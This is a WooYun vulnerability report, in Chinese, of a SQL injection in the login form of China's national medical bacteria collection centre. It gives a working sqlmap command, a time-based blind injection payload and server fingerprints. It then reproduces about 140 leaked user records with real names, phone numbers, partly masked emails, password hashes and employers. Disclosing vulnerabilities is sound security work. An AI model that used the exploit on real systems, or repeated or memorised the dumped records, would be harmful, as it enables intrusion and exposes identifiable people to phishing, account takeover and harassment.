当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0133984

漏洞标题：国家细菌管理中心post注入 100W+数据泄露（泄露包括姓名/所在研究所/电话/邮箱等）

相关厂商：国家细菌管理中心

漏洞作者： 路人甲

提交时间：2015-08-16 10:11

修复时间：2015-10-02 10:56

公开时间：2015-10-02 10:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-16： 细节已通知厂商并且等待厂商处理中
2015-08-18： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-08-28： 细节向核心白帽子及相关领域专家公开
2015-09-07： 细节向普通白帽子公开
2015-09-17： 细节向实习白帽子公开
2015-10-02： 细节向公众公开

简要描述：

国家细菌管理中心post注入 100W+数据泄露（泄露包括姓名/所在研究所/邮箱等）

详细说明：

中国医学细菌保藏管理中心建立于1979 年，目前挂靠在中国食品药品检定研究院，为国家级医学细菌保藏管理中心，亦是国家微生物资源平台的参建单位之一。上世纪80年代中期加入世界菌种保藏联合委员会(WFCC)。中心在中检院设有钩端螺旋体、霍乱弧菌、脑膜炎奈瑟氏菌、沙门氏菌、大肠埃希氏菌、布氏杆菌、结核分枝杆菌、绿脓杆菌等专业实验室。
中心现拥有79 属、475 种、10202 株、230000 多份国家标准医学菌(毒) 种，涵盖几乎所有疫苗等生物药物的生产菌种和质量控制菌种。中心承担医学菌种的研究、收集、鉴定，保藏、分发与管理任务；承担生产和检定用菌种质量标准的技术复核；承担相应品种标准物质研究和标定工作；开展相应技术方法研究及技术人员培训等工作

QQ20150812-3@2x.png


登陆处存在注入

QQ20150812-1@2x.png


QQ20150812-2@2x.png


python sqlmap.py -u "**.**.**.**/cmccbnew/login/login.php" --data="UNAME=admin&LOGID=&ACTION=%B5%C7%C2%BC&PASSWD=admin&num_auth=9133" --level 3 --technique T --risk 3 --current-user
         _
 ___ ___| |_____ ___ ___  {1.0-dev-03f32ae}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:10:59
[21:10:59] [WARNING] provided value for parameter 'LOGID' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[21:10:59] [INFO] resuming back-end DBMS 'mysql' 
[21:10:59] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: UNAME (POST)
    Type: AND/OR time-based blind
    Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
    Payload: UNAME=admin' AND 4102=BENCHMARK(5000000,MD5(0x7771734b)) AND 'miPt'='miPt&LOGID=&ACTION=%B5%C7%C2%BC&PASSWD=admin&num_auth=9133
---
[21:10:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 4.9
web application technology: PHP 4.3.9, Apache 2.0.52
back-end DBMS: MySQL 4
[21:10:59] [INFO] fetching current user
[21:10:59] [INFO] resumed: cmccb@localhost
current user:    'cmccb@localhost'
[21:10:59] [INFO] fetched data logged to text files under '/Users/luhaoliang/.sqlmap/output/**.**.**.**'


QQ20150813-1@2x.png


各种数据

| 333 | 0       | <blank> | 宋晓                    | songjincai1982@**.**.**.**          | 13699274474 | 6e257ccb71ae455f13b09dd09821441c | <blank>                       | 你最喜欢的人是? | swjnc            |
| 334 | 0       | <blank> | 朱家馨                   | zhujiaxin2020@**.**.**.**            | 13642631698 | fe07a1152f1bf99b343a96169c963047 | <blank>                       | 你最喜欢的人是? | zhujiaxin        |
| 335 | 2       | <blank> | 王颖                    | fbdtech@**.**.**.**                  | 13352067107 | 005fdf9087be928cc12bc38b60bce2d8 | <blank>                       | 你最喜欢的人是? | fbdtech          |
| 336 | 0       | <blank> | 倪深                    | asen1225@**.**.**.**                 | 13738013620 | 978506615932aa802980490392fa237a | <blank>                       | 你最喜欢的人是? | asen1225         |
| 337 | 85      | 214092  | 赵俊伟                   | bhfudan@**.**.**.**              | 15161561391 | 0c909531946d4f251da74866a6499ea5 | 无锡博慧斯生物医药科技有限公司               | 你最喜欢的人是? | Biohermes        |
| 338 | 0       | <blank> | 武瑞仙                   | wuruixian123@**.**.**.**             | 13673655978 | fcf1268d85279a60c966891265c770b8 | <blank>                       | 你最喜欢的人是? | wuruixian        |
| 339 | 0       | <blank> | 陈益国                   | qjkr2@**.**.**.**                    | 13202016135 | 54b1df7f5324a40f19bcf50fa796159f | <blank>                       | 你最喜欢的人是? | qjkr             |
| 340 | 191     | 518055  | 张艳                    | yanzh81@**.**.**.**                  | 13714943309 | cbdb121bb57fecc21301da6a6c629fc2 | 深圳职业技术学院                      | 你最喜欢的人是? | yanzh81          |
| 341 | 149     | <blank> | 朱立贤                   | zhlx@**.**.**.**                 | 13793808692 | 9a68afef5d5582b26833c7d5540dd3d7 | <blank>                       | 你最喜欢的人是? | lixianzhu        |
| 342 | 0       | <blank> | 各琴                    | sungeqing@**.**.**.**           | 13631192107 | 55490f33c45e8ea702ebf0e7b2981813 | <blank>                       | 你最喜欢的人是? | sgq              |
| 343 | 0       | <blank> | 尹瑜                    | jessica.yin@**.**.**.**           | 13761711561 | abe00dacf5ca2750c630c9e16a640e12 | <blank>                       | 你最喜欢的人是? | belimed          |
| 344 | 0       | <blank> | 冯彩                    | finding_1987@**.**.**.**             | 13688868864 | 3818f4322256fd495e54b67625fd6194 | <blank>                       | 你最喜欢的人是? | fcling           |
| 345 | 0       | <blank> | 陆裕                    | mullusca@**.**.**.**                 | 13918668671 | 462007ef296bd0d3c7a6da16b2866d46 | <blank>                       | 你最喜欢的人是? | mullusca         |
| 346 | 290     | <blank> | 赵英杰                   | lzzhaoyingjie@**.**.**.**            | 13519622252 | 90c1e3ed80a5418de2bb2f2e4da29461 | 兰州市                           | 你最喜欢的人是? | zhaoyingjie      |
| 347 | 0       | <blank> | 鲁安松                   | sdwylas@**.**.**.**                 | 13018327278 | 0a85197bdc4c37095470ff415f7f3eb7 | <blank>                       | 你最喜欢的人是? | sdwylas          |
| 348 | 0       | <blank> | 于浩                    | forestwolf1984@**.**.**.**           | 13583565395 | 6e3559b82917102793db276f31ded0c7 | <blank>                       | 其他       | forestwolf       |
| 349 | 73      | 201203  | 李继扬                   | lijiyang@**.**.**.**            | 13817512046 | 32182e4065d65261e43a719d3ecb5fde | 复旦大学药学院                       | 你最想去的地方? | lijiyang         |
| 350 | 1       | 100081  | 于萍                    | 78791212@**.**.**.**                 | 13488770584 | 6e12a79121a528b6e069e9e0c04c9824 | 中国农业科学院北京畜牧兽医研究所              | 你最喜欢的人是? | 78791212         |
| 351 | 0       | <blank> | 张永超                   | zyc365forever@**.**.**.**            | 13888411622 | 895dc00d747ccadb2c3f1c7fc7239051 | <blank>                       | 你最喜欢的人是? | zhangyongchao    |
| 352 | 0       | <blank> | 李丽梅                   | limei368@**.**.**.**                 | 13821477802 | 6119efd4ea799428df35fd929b69f397 | <blank>                       | 你最喜欢的人是? | meizi368         |
| 353 | 0       | <blank> | 贾云飞                   | yunfei.jia@**.**.**.**             | 13488693585 | ff7bb8b61c79ed8f3e35403698dcfccd | <blank>                       | 你最喜欢的人是? | tamclove         |
| 354 | 0       | <blank> | 史小超                   | njjoyce0708@**.**.**.**             | 13512505731 | e0dd1350b4d59c834739cafac7b17065 | 南京市CDC                        | 你最想去的地方? | ctt              |
| 355 | 73      | 201203  | 李继扬                   | ljy4886@**.**.**.**             | 13817512046 | bc720484f8cc5ba293fe9b662f8d9e05 | 复旦大学                          | 你最喜欢的人是? | lishiyu          |
| 356 | 349     | <blank> | 李梅                    | lilizk@**.**.**.**                   | 13384318688 | 04de8d51c601e61e86c853b153cb2a0a | 吉林省鑫迪微生物技术开发有限公司              | 你最喜欢的人是? | lilizk           |
| 357 | 0       | <blank> | 胡萍                    | pengyou1466@**.**.**.**             | 13008769371 | da690f45ca7cb799a2acc2832ac7f28e | <blank>                       | 你最想去的地方? | pengyou1466      |
| 358 | 0       | <blank> | 刘明涛                   | 842764917@**.**.**.**                 | 13791023320 | acc898e997146d9739f60f514b611015 | <blank>                       | 你最想去的地方? | liumingtao123    |
| 359 | 0       | <blank> | 杨                     | nicoleyang642@**.**.**.**            | 13696961295 | 38157c6b97efc1091ff334f06a6ce7c2 | <blank>                       | 你最喜欢的人是? | nicoleyang       |
| 360 | 0       | <blank> | 康琦                    | hisashi999@**.**.**.**              | 13880900795 | 1216048bcf8e59a2e0b10f96de699b4a | <blank>                       | 其他       | hisashi999       |
| 361 | 191     | <blank> | 王冰                    | iceking1977@**.**.**.**              | 13823778364 | dcb171dffd66e9aaf63cf43e5880774d | 深圳市疾病预防控制中心                   | 你最喜欢的人是? | iceking1977      |
| 362 | 0       | <blank> | 刘晓颖                   | tcslxy@**.**.**.**                   | 13514454100 | 6ccf1134d667e5a21b518404f2ca8214 | <blank>                       | 你最想去的地方? | liuxy1970        |
| 363 | 0       | <blank> | 李芳芳                   | lifangfang8408@**.**.**.**           | 15106944316 | edf726830abd85468814b42454438e79 | <blank>                       | 你最想去的地方? | lff8408          |
| 364 | 168     | <blank> | 李安娜                   | 260461411@**.**.**.**                 | 13072772070 | b88d59c31acf5368a67524ff170f4604 | <blank>                       | 你最想做的事?  | anaguaiguai      |
| 365 | 252     | <blank> | 石阡县                   | lj2003081709@**.**.**.**        | 13885637126 | eab33e030c219791490150d89f36cbb1 | <blank>                       | 你最想去的地方? | renaiai          |
| 366 | 0       | <blank> | 123123                | 123123123@**.**.**.**                 | 12312312312 | fb0c0d29891025ebc856afcb05a80a36 | <blank>                       | 你最喜欢的人是? | 0166             |
| 367 | 0       | <blank> | 蔡长虹                   | caichanghong@**.**.**.**             | 13681471486 | afdfc28d9e900d14c98ee9bfc30331f9 | <blank>                       | 你最喜欢的人是? | cch123456        |
| 368 | 1       | 100101  | 李晶                    | lijing@**.**.**.**                  | 13911262327 | cae5ac9e62abcc4c3f365866c6833d02 | 中国科学院微生物研究所                   | 你最想做的事?  | lijing@**.**.**.**  |
| 369 | 73      | 201103  | 谢雯雯                   | vivian.xie@**.**.**.**    | 13761060362 | 50e3f0c476afde61d03be83396d1f4a3 | 上海锦葵医疗器械有限公司                  | 你最喜欢的人是? | wenwen881111     |
| 370 | 0       | <blank> | 牟晓洲                   | mouxiaozhou@**.**.**.**            | 13588427126 | e773348f0da5c0940089030a68dd76d5 | <blank>                       | 你最喜欢的人是? | mouxz            |
| 371 | 191     | <blank> | 于浩洋                   | guixuanyu@**.**.**.**              | 13510275913 | 7fe087fa7929c2a3b680c8dccff31d41 | <blank>                       | 你最喜欢的人是? | guixuanyu        |
| 372 | 0       | <blank> | 刘明伟                   | biowee@**.**.**.**                   | 15923399902 | d8793b58bb18db15d184d442f77bc385 | <blank>                       | 你最喜欢的人是? | lmingwei         |
| 373 | 331     | 832000  | 刘凯                    | linchenliukai@**.**.**.**            | 15001610208 | 40a2529b86297e7c764b8ae5b944d0f7 | 石河子大学食品学院                     | 你最想去的地方? | linchenliukai    |
| 374 | 0       | <blank> | 侯天文                   | houtw1967@**.**.**.**           | 13653312132 | aa82b42642f89ab5a7d7aa19dbb767a3 | <blank>                       | 你最喜欢的人是? | HOUTW1967        |
| 375 | 1       | 101300  | 郑燕鹏                   | zyp_mail666@**.**.**.**             | 13641182065 | af664734e697311a97174fe23713f1d5 | 北京顺达四海生物药业有限公司                | 你最喜欢的人是? | shundasihai      |
| 376 | 0       | <blank> | 李惠玲                   | lhl0483@**.**.**.**                  | 13948041866 | 12e6a74a332e528312c8d0fd1b2602fe | 阿盟药检所                         | 你最喜欢的人是? | lhl0483          |
| 377 | 139     | <blank> | 孙妍                    | sunyan5811@**.**.**.**              | 13706452178 | 49ed3db4aa75dc6fad7074870f70b880 | <blank>                       | 你最喜欢的人是? | SUNYAN5811       |
| 378 | 0       | <blank> | 李霞                    | lixia_yuqian@**.**.**.**             | 13993731728 | 80f583aeafdf1982e02a9960e8286f7f | <blank>                       | 其他       | lixia            |
| 379 | 0       | <blank> | 田仁鹏                   | rptian@hku.hk                    | 13058192499 | c329e7d76cfef190065d1dbc53c37a47 | <blank>                       | 你最想去的地方? | rptian           |
| 380 | 304     | 410015  | 周经理                   | 523297556@**.**.**.**                 | 13111111111 | 6b4a068ee840e764323699f222cc6dd6 | 长沙隆和化玻实验用品有限公司                | 你最喜欢的人是? | zsq123           |
| 381 | 0       | <blank> | 林学斌                   | 924986582@**.**.**.**                 | 13958860369 | a9b969f0eb9545a1d54e9affde6d0f89 | <blank>                       | 你最喜欢的人是? | toakill          |
| 382 | 257     | <blank> | 雷娜                    | kmleina3328@**.**.**.**              | 13211683845 | 777ac03c9e18e2e8c992b62e1ae42052 | 云南中医学院                        | 你最喜欢的人是? | kmleina          |
| 383 | 11      | <blank> | 张鹏程                   | 478879506@**.**.**.**                 | 13483698377 | 7892f070856ee0f3adaeaf241cbcb09d | <blank>                       | 你最喜欢的人是? | peng4224859      |
| 384 | 91      | <blank> | 徐超盈                   | 86860693@**.**.**.**                  | 13248565653 | 545b90243a67052adefe2a197617e3bc | <blank>                       | 其他       | no.no.no         |
| 385 | 0       | <blank> | 张其宏                   | 276916189@**.**.**.**                 | 13295206032 | d6410558ca0b9672dd51f07682840846 | <blank>                       | 你最喜欢的人是? | bluefire232      |
| 386 | 0       | <blank> | 李晓光                   | bright009@**.**.**.**                | 13288607090 | f87e31bea6040672db07e32141f930ce | <blank>                       | 其他       | bright009@126.co |
| 387 | 0       | <blank> | 五桥                    | wuqiao@**.**.**.**                   | 13984376757 | ba6b799e17053115b513d68950c95bf7 | <blank>                       | 你最想去的地方? | wq001268         |
| 388 | 0       | <blank> | 王锋                    | wangfeng3201980@**.**.**.**          | 13933441892 | 13bd276bc0085965d56cb849d88f495c | <blank>                       | 你最想去的地方? | wangfeng         |
| 389 | 0       | <blank> | 杨庆                    | yangqing1213@**.**.**.**        | 13717710480 | c8c1b4540acd08ba7efb9acce90ab8c0 | <blank>                       | 你最喜欢的人是? | yqsnyd12135      |
| 390 | 0       | <blank> | 李荔枝                   | lilizhi9901@**.**.**.**              | 15285169426 | 5197fc32a3ab529efea6b3dc248cac02 | <blank>                       | 你最想去的地方? | LICHEE           |
| 391 | 0       | <blank> | 阿芳                    | 455941176@**.**.**.**                 | 13431038635 | 14d24431440484e3d7e8260fba69eef6 | <blank>                       | 你最喜欢的人是? | 455941176        |
| 392 | 0       | <blank> | 孙启明                   | sunqiming1203@**.**.**.**            | 13436583790 | a31b0c0bd4eed954828e47f43ce43e79 | <blank>                       | 你最想去的地方? | mmbb             |
| 393 | 0       | <blank> | 刘成                    | waldol_liu@**.**.**.**              | 13331663737 | b8331dfef032ddc4a3420ef36421fb7f | <blank>                       | 你最想去的地方? | waldo_liu        |
| 394 | 0       | <blank> | 吴洁                    | luohuawutong_777@**.**.**.**         | 13969877096 | d5566629cacf2ef650b37395f608eac5 | <blank>                       | 你最喜欢的人是? | JIE              |
| 395 | 0       | <blank> | 陈健梅                   | jianmei.chen@**.**.**.**             | 13818401323 | 2e3162a107ada607cac65244706a879b | <blank>                       | 其他       | bend71           |
| 396 | 0       | <blank> | 王东黎                   | wdl64@**.**.**.**                   | 13520558768 | 51cba456f77237dc97cc422eab5f1e1b | <blank>                       | 你最喜欢的人是? | wangdongli       |
| 397 | 1       | <blank> | 康琳                    | kanglin1116@**.**.**.**         | 13011888501 | 5fb9c7e1501b4eabdd58c9a073ccfa6e | <blank>                       | 你最想做的事?  | kanglin          |
| 398 | 0       | <blank> | 黎明                    | penghaoren2001@**.**.**.**           | 13675581550 | aa6372046f507a765a5c6feca4105e08 | <blank>                       | 其他       | penghaoren2001   |
| 399 | 215     | <blank> | 哈哈                    | chensihai2006@**.**.**.**            | 13976537950 | 04e2962bce1cc94cd5eb5718d43aa744 | 东联                            | 你最想去的地方? | csh              |
| 400 | 0       | <blank> | 谢冰松                   | xbs530515@**.**.**.**           | 13699429418 | 182fce15b05574a348e6c5b1630b87cf | <blank>                       | 你最喜欢的人是? | xbs530515        |
| 401 | 0       | <blank> | 王丽                    | 305770422@**.**.**.**.cn              | 13948888696 | 63ac9a4727f42ea7a64ecb7d23db1d74 | <blank>                       | 你最喜欢的人是? | wangli           |
| 402 | 168     | 430079  | 陈林                    | chenlinwhu@**.**.**.**                | 13971174626 | 867ea14ce1291ccdf464d130abb31d2e | 武汉大学                          | 你最喜欢的人是? | chenlinwhu       |
| 403 | 73      | <blank> | 姚雪凌                   | yaoxueling2756@**.**.**.**       | <blank>     | ef233adfc915bd0f20154d2ee777155f | 上海汉尼生物技术有限公司                  | 你最想去的地方? | oushi            |
| 404 | 0       | <blank> | 魏文静                   | wenjingwei924@**.**.**.**          | 15010547119 | a3096f3d1f15a38553d1c6ecad9ce49c | <blank>                       | 其他       | 魏文静              |
| 405 | 0       | <blank> | 刘锐                    | liuruidodder@**.**.**.**             | 13820415036 | ae1540a985299101763828f5ea47c120 | <blank>                       | 你最喜欢的人是? | dodder           |
| 406 | 2       | 300201  | 梁艳彬                   | liangyanbin1989@**.**.**.**          | 13920897833 | 1b763a103b45211756a667fb935735a3 | 天津一方科技有限公司                    | 你最想做的事?  | yfkj001          |
| 407 | 180     | 510330  | 朱庆义                   | zhuqingyi2000@**.**.**.**       | 13533809924 | 88e7b35f35f67637929db19a5e445535 | 广州金域医学检验中心                    | 你最喜欢的人是? | zhuqingyi        |
| 408 | 85      | <blank> | 陈蕊蕊                   | chenrr331@**.**.**.**                | 13584114711 | 4a901ff31f14cb87801268685f544318 | <blank>                       | 你最想去的地方? | cherry           |
| 409 | 138     | 261204  | 陆彩霞                   | 522653490@**.**.**.**                 | 13006560192 | f825c3db8599825443a4188d566e36c2 | 潍坊中狮制药有限公司                    | 你最想去的地方? | 522653490        |
| 410 | 152     | <blank> | 王艳                    | baihe002@**.**.**.**                | 15896536549 | 79eb62a3771eb98e35f26f6ce72ec4b9 | 河南惠尔纳米科技有限公司                  | 你最想去的地方? | huier            |
| 411 | 0       | <blank> | 海珍 周                  | zhouhaizhen@**.**.**.**       | <blank>     | a70d6d0e00db4772bb95e6a8126f6f9c | <blank>                       | 你最喜欢的人是? | <blank>          |
| 412 | 1       | 100193  | 王慧敏                   | whmmha@**.**.**.**                   | 18701656023 | 7c4a4a4a1608d923b12421e4ed106ec1 | 中国农业大学                        | 你最喜欢的人是? | whmmha           |
| 413 | 73      | 201600  | 任燕华                   | ryhrenyanhua@**.**.**.**            | 13611973139 | a753f2332e1d538ff3a8cf5d01b9109e | 上海市松江食品样品检验所                  | 你最想去的地方? | ryhrenyanhua     |
| 414 | 227     | 611731  | 刁维均                   | darrow18514@**.**.**.**              | 13708209303 | d0c51b358bafbf21c2d2103029f48b98 | 四川迈克生物科技股份有限公司                | 你最想去的地方? | darrow           |
| 415 | 0       | <blank> | 谭强来                   | talktojonas.tan@**.**.**.**        | 13870837065 | d1a6925860863281047f8a3e6adb1031 | <blank>                       | 你最想做的事?  | jonas            |
| 416 | 1       | <blank> | 孙强正                   | zhlbsun@**.**.**.**             | 13683387021 | 3c9401b6f14b54bd81976b0e3f503266 | 中国CDC                         | 你最想去的地方? | sunqiangzheng    |
| 417 | 180     | 510663  | 黄新                    | 13922297621@**.**.**.**              | 13922297621 | aa3a4b7e1235fc9d9b329ed3609096c8 | 广州迪澳生物科技有限公司                  | 你最想去的地方? | gzda             |
| 418 | 0       | <blank> | 李                     | libin0571@**.**.**.**             | 13515711458 | 209f792b884d5f9c5740ec04360c5614 | <blank>                       | 你最想做的事?  | maomi            |
| 419 | 257     | <blank> | 李锐刚                   | kyo98@**.**.**.**                    | 13700663795 | 062bb43dc5092ff882278572c0db1b67 | 久啦食品有限公司                      | 你最喜欢的人是? | harmonia         |
| 420 | 355     | <blank> | 陈辉芳                   | chenyier@**.**.**.**                 | 13377658068 | f40e92f85c52278ae60ae5c82002efb9 | <blank>                       | 你最喜欢的人是? | chf              |
| 421 | 74      | <blank> | 孔肖菡                   | 2011108008@**.**.**.**           | 13851796676 | 4a6880f7ddee063dffaabc635ec89390 | 南京农业大学食品科技学院                  | 你最喜欢的人是? | kxh2909          |
| 422 | 0       | <blank> | 卢舒娴                   | shangxyx@**.**.**.**                 | 13705086039 | 71e755b7c22736dd70f4369b09ca3970 | <blank>                       | 你最想做的事?  | shxyx            |
| 423 | 0       | <blank> | 马丹                    | mad@**.**.**.**                 | 13508635511 | b86a400314cc18e051fe3c7681d4078f | <blank>                       | 你最喜欢的人是? | dofree1002       |
| 424 | 0       | <blank> | 符姐                    | fhj654@**.**.**.**                   | 13519962278 | 090104deb817c56643d3486e568b7131 | <blank>                       | 你最喜欢的人是? | fhj654           |
| 425 | 91      | 315311  | 邱霄虹                   | qiuxiaohong88@**.**.**.**            | 15158368229 | af30aa5dc783610ab70bbe94e5bb27b5 | 宁波倍的福药业有限公司                   | 你最喜欢的人是? | beidefu          |
| 426 | 168     | 430072  | 闫栩凡                   | xufan4455@**.**.**.**                | 13297981745 | 219f83919e765781497246943cc049ba | 武汉大学                          | 你最想去的地方? | Oliver           |
| 427 | 0       | <blank> | 张维                    | zhangwj1101@**.**.**.**              | 13641264464 | b7bbb9bc1d4e251f4add0c70630e827f | <blank>                       | 你最喜欢的人是? | opossum          |
| 428 | 2       | <blank> | 屈野                    | quye2004@**.**.**.**                 | 13520860677 | 99ec7179f0df67cd7a6759766dd54b4c | <blank>                       | 你最喜欢的人是? | quye2004         |
| 429 | 203     | 545400  | 王宇                    | 740600685@**.**.**.**                 | 13404617501 | b1382bc8b539097ef5cb1aeedeb6fcd5 | 吉林师范大学                        | 你最喜欢的人是? | 1234WY           |
| 430 | 0       | <blank> | 蔡                     | ruqinzhe287394711@**.**.**.**        | 18750916891 | aae0b414d5bc2300c10b1fbbc69a1615 | 学生                            | 你最想去的地方? | iruqinzhe        |
| 431 | 355     | <blank> | 游力辉                   | youlihui007@**.**.**.**         | 13570052468 | 7dcee2fcb7d9f0f05c74f16d0d247270 | <blank>                       | 你最喜欢的人是? | youlihui         |
| 432 | 0       | <blank> | 李钧                    | microbiology_cn@**.**.**.**     | 13819188014 | 1d968c7d63f072e59ca94cd2b593251f | <blank>                       | 你最想做的事?  | hzcdcli          |
| 433 | 0       | <blank> | 贺鹏飞                   | feipenghe@**.**.**.**              | 13810462302 | e7ddf8d14b881fcc4f5ad72b16cce8fc | <blank>                       | 你最想做的事?  | primer322        |
| 434 | 1       | <blank> | 汤强                    | tqan10000@**.**.**.**                | 15210551987 | 498810a401733b5609798e2cb17012fe | 中科院微生物所                       | 你最喜欢的人是? | tqan10000        |
| 435 | 0       | <blank> | 穆贵林                   | mgl19851229@**.**.**.**             | 13693026559 | 08e6e99d8098479c4ffae0d17cda49a5 | <blank>                       | 你最喜欢的人是? | mgl19851229      |
| 436 | 1       | <blank> | 吕允方                   | wykcC888@**.**.**.**                | 13161909786 | de3b8cfcf625dc40464a9b33dd6e386d | 北京伟业科创                        | 其他       | LYF              |
| 437 | 1       | 100069  | 唐静成                   | jingcht@**.**.**.**              | 13810204693 | 08d7cc306fd842ec0b54a3c2e3a99609 | 首都医科大学                        | 你最喜欢的人是? | dogdogtang       |
| 438 | 46      | 116622  | 周蕾                    | 13842677885@**.**.**.**              | 13842677885 | 9ee19f9f3a12d87d33b9cfdb699ae037 | 大连华钰生物科技有限公司                  | 你最喜欢的人是? | hyena0119        |
| 439 | 0       | <blank> | 阿书                    | ccs411@**.**.**.**                   | 13412584694 | e93b7c340c7e292068df036987b01c75 | <blank>                       | 其他       | ccs411           |
| 440 | 0       | <blank> | 武永昆                   | wuyongk@**.**.**.**                 | 13888959482 | 27f2af5ae5a5179eddd7217d2c6cb26d | <blank>                       | 你最喜欢的人是? | WYK              |
| 441 | 122     | 330029  | 方元宗                   | 873056750@QQ.com                 | 13870098189 | 9e54c9186bfac520ca50a07008673d3b | 南昌绿恒科技有限公司                    | 你最喜欢的人是? | fangyuanzong     |
| 442 | 24      | 200433  | 薛志杰                   | xms5178@**.**.**.**                  | 13761180765 | b1eee9c15cc4f92020baee99c85b1401 | 上海天呈科技有限公司                    | 你最喜欢的人是? | youha4566        |
| 443 | 1       | <blank> | 师宁                    | haitun1593028@**.**.**.**            | 15311319420 | 2980ccc8946b90be8348fb655b8e959c | 中国农业大学                        | 你最喜欢的人是? | 唐卡               |
| 444 | 0       | <blank> | 郭子晟                   | mars222222@**.**.**.**               | 13572556088 | d263c30f6e8f06c99cc291a472319353 | <blank>                       | 你最喜欢的人是? | 14109            |
| 445 | 51      | 130033  | 房丽君                   | fanglijun00@**.**.**.**             | 13843028507 | af56d47555a6a2c9b2e5351ea9266cc7 | 吉林亚泰生物药业股份有限公司                | 你最想去的地方? | fangzida         |
| 446 | 76      | 222002  | 邱大刚                   | 13961303855@**.**.**.**              | 13961303855 | ff6924d2556ffd191e3681e122ab15a1 | 连云港亚宝科技发展有限公司                 | 你最喜欢的人是? | glscl            |
| 447 | 1       | 100013  | 白云鹏                   | yaxier2010@**.**.**.**               | 13691260850 | aeca718d938f6bbb0f342810b2eeb0f6 | 北京中兴嘉仁生物技术有限公司                | 你最喜欢的人是? | feng189100       |
| 448 | 0       | <blank> | yejingrui             | 453883285@**.**.**.**                 | 13302223785 | cf584a9734387d38032becc42e592204 | <blank>                       | 你最想做的事?  | frui             |
| 449 | 1       | <blank> | 李艳                    | liyanmd@**.**.**.**             | 13522011377 | bf4cba51c1cd2fe632121ccd066d3b89 | <blank>                       | 你最喜欢的人是? | liyan            |
| 450 | 51      | 130122  | 钱晶                    | qjysb0110@**.**.**.**                | 13578941107 | a6e4d2ebeb5804aad602335662388d21 | 军事兽医研究所                       | 你最想做的事?  | qianjing0815     |
| 451 | 139     | 264000  | 刘杰                    | liulocus@**.**.**.**                 | 15653892770 | f815606f5282cab8676fc5627920c834 | 烟台毓璜顶医院                       | 你最喜欢的人是? | liulocus         |
| 452 | 0       | <blank> | 戴玮                    | coolan2_dw@**.**.**.**              | 13996226165 | 6b4eb577c0dc150e0a563930a8cfd654 | <blank>                       | 你最喜欢的人是? | dw_dw            |
| 453 | 0       | <blank> | 陈琛                    | 1989cissy@**.**.**.**               | 13638672062 | 1e5b0dc28c9e7271170be142174ce827 | <blank>                       | 你最喜欢的人是? | chenchen20091989 |
| 454 | 0       | <blank> | 李佳                    | 909476692@**.**.**.**                 | 13867118010 | dcc48e3f9e10d729927230e184ebb382 | <blank>                       | 你最喜欢的人是? | mlfmlf           |
| 455 | 0       | <blank> | 林立                    | linli97@**.**.**.**                  | 13867715461 | 89be248a439a2ad7ab3f8c04aab6551f | <blank>                       | 你最喜欢的人是? | linli97          |
| 456 | 0       | <blank> | 李静                    | lijing313@**.**.**.**             | 13954283852 | 227da0a95ea0ac9302bb911164d8546e | <blank>                       | 你最想做的事?  | marineheart      |
| 457 | 0       | <blank> | 李学兴                   | lxx5093@**.**.**.**                  | 13987793013 | e88bf5a5f0e66ec10dfed90bffc9702e | <blank>                       | 你最喜欢的人是? | lxx5093          |
| 458 | 91      | <blank> | 周平                    | zhou_119@**.**.**.**                 | 13968208474 | db7fd2907b7f638e99d41830bbe1ca46 | 宁波健世生物科技有限公司                  | 你最喜欢的人是? | jenscare         |
| 459 | 73      | 200092  | 李玲                    | lingli12@**.**.**.**                 | 13761933217 | dc0a0ca096473a2a8242b9d60339c935 | 上海交通大学医学院附属新华医院               | 你最想去的地方? | xinhuall         |
| 460 | 1       | 100043  | 姬志娟                   | zhijuan_ji@**.**.**.**          | 13641196605 | 44b44bb81aa935f7c4d75d5d1c8cf409 | 北京博奥森生物技术有限公司                 | 其他       | zhijuan_ji       |
| 461 | 1       | <blank> | 辉夜                    | 943038944@**.**.**.**                 | 13929393636 | 5dcee73e331b5172b661b8c84f56f33d | <blank>                       | 你最喜欢的人是? | Workhelp2007     |
| 462 | 0       | <blank> | 殷小涛                   | yxtfwy@**.**.**.**                   | 15120033757 | 0f44af09630d2ce609ed6ac7caa5a6e3 | <blank>                       | 你最喜欢的人是? | yxtfwy           |
| 463 | 0       | <blank> | 吴经耀                   | wjy2008119@**.**.**.**               | 13588057740 | f32cbb51f05da80a61b165d1a6dbd22d | <blank>                       | 其他       | wjy2008119       |
| 464 | 0       | <blank> | 蒋宇                    | raul146@**.**.**.**                   | 13786161559 | 64db18c2e8e446a014dd7fb72756200d | <blank>                       | 你最喜欢的人是? | raul146          |
| 465 | 180     | <blank> | 翁齐征                   | wengqizheng@**.**.**.**              | 13763383510 | b689a9a63a1b651acde79c1d45d28afd | 北京陆桥技术有限责任公司                  | 你最想做的事?  | wengqizheng      |
| 466 | 0       | <blank> | 于录                    | yulu225@**.**.**.**                  | 13147716383 | ede1367e4ee2a421a0adeb053e4faba9 | <blank>                       | 你最喜欢的人是? | ok123            |
| 467 | 0       | <blank> | 李婷                    | lvcaoyinyin1986@**.**.**.**          | 13545118252 | eeb0ab05dccd81e76cb9aac7bf154963 | 武汉大学                          | 你最喜欢的人是? | lvcaoyinyin1986  |
| 468 | 0       | <blank> | 李飞                    | czw522560507@**.**.**.**             | 13005469874 | ed57114fe70170df4ad2df0ceda67f39 | <blank>                       | 你最想去的地方? | czw522560507     |
| 469 | 191     | 528000  | 李小青                   | 2080180101@**.**.**.**      | 13430674524 | 69829af847d3cf496be6bd4fb345be2c | 深圳市意达凯生物科技有限公司                | 你最喜欢的人是? | nasher           |
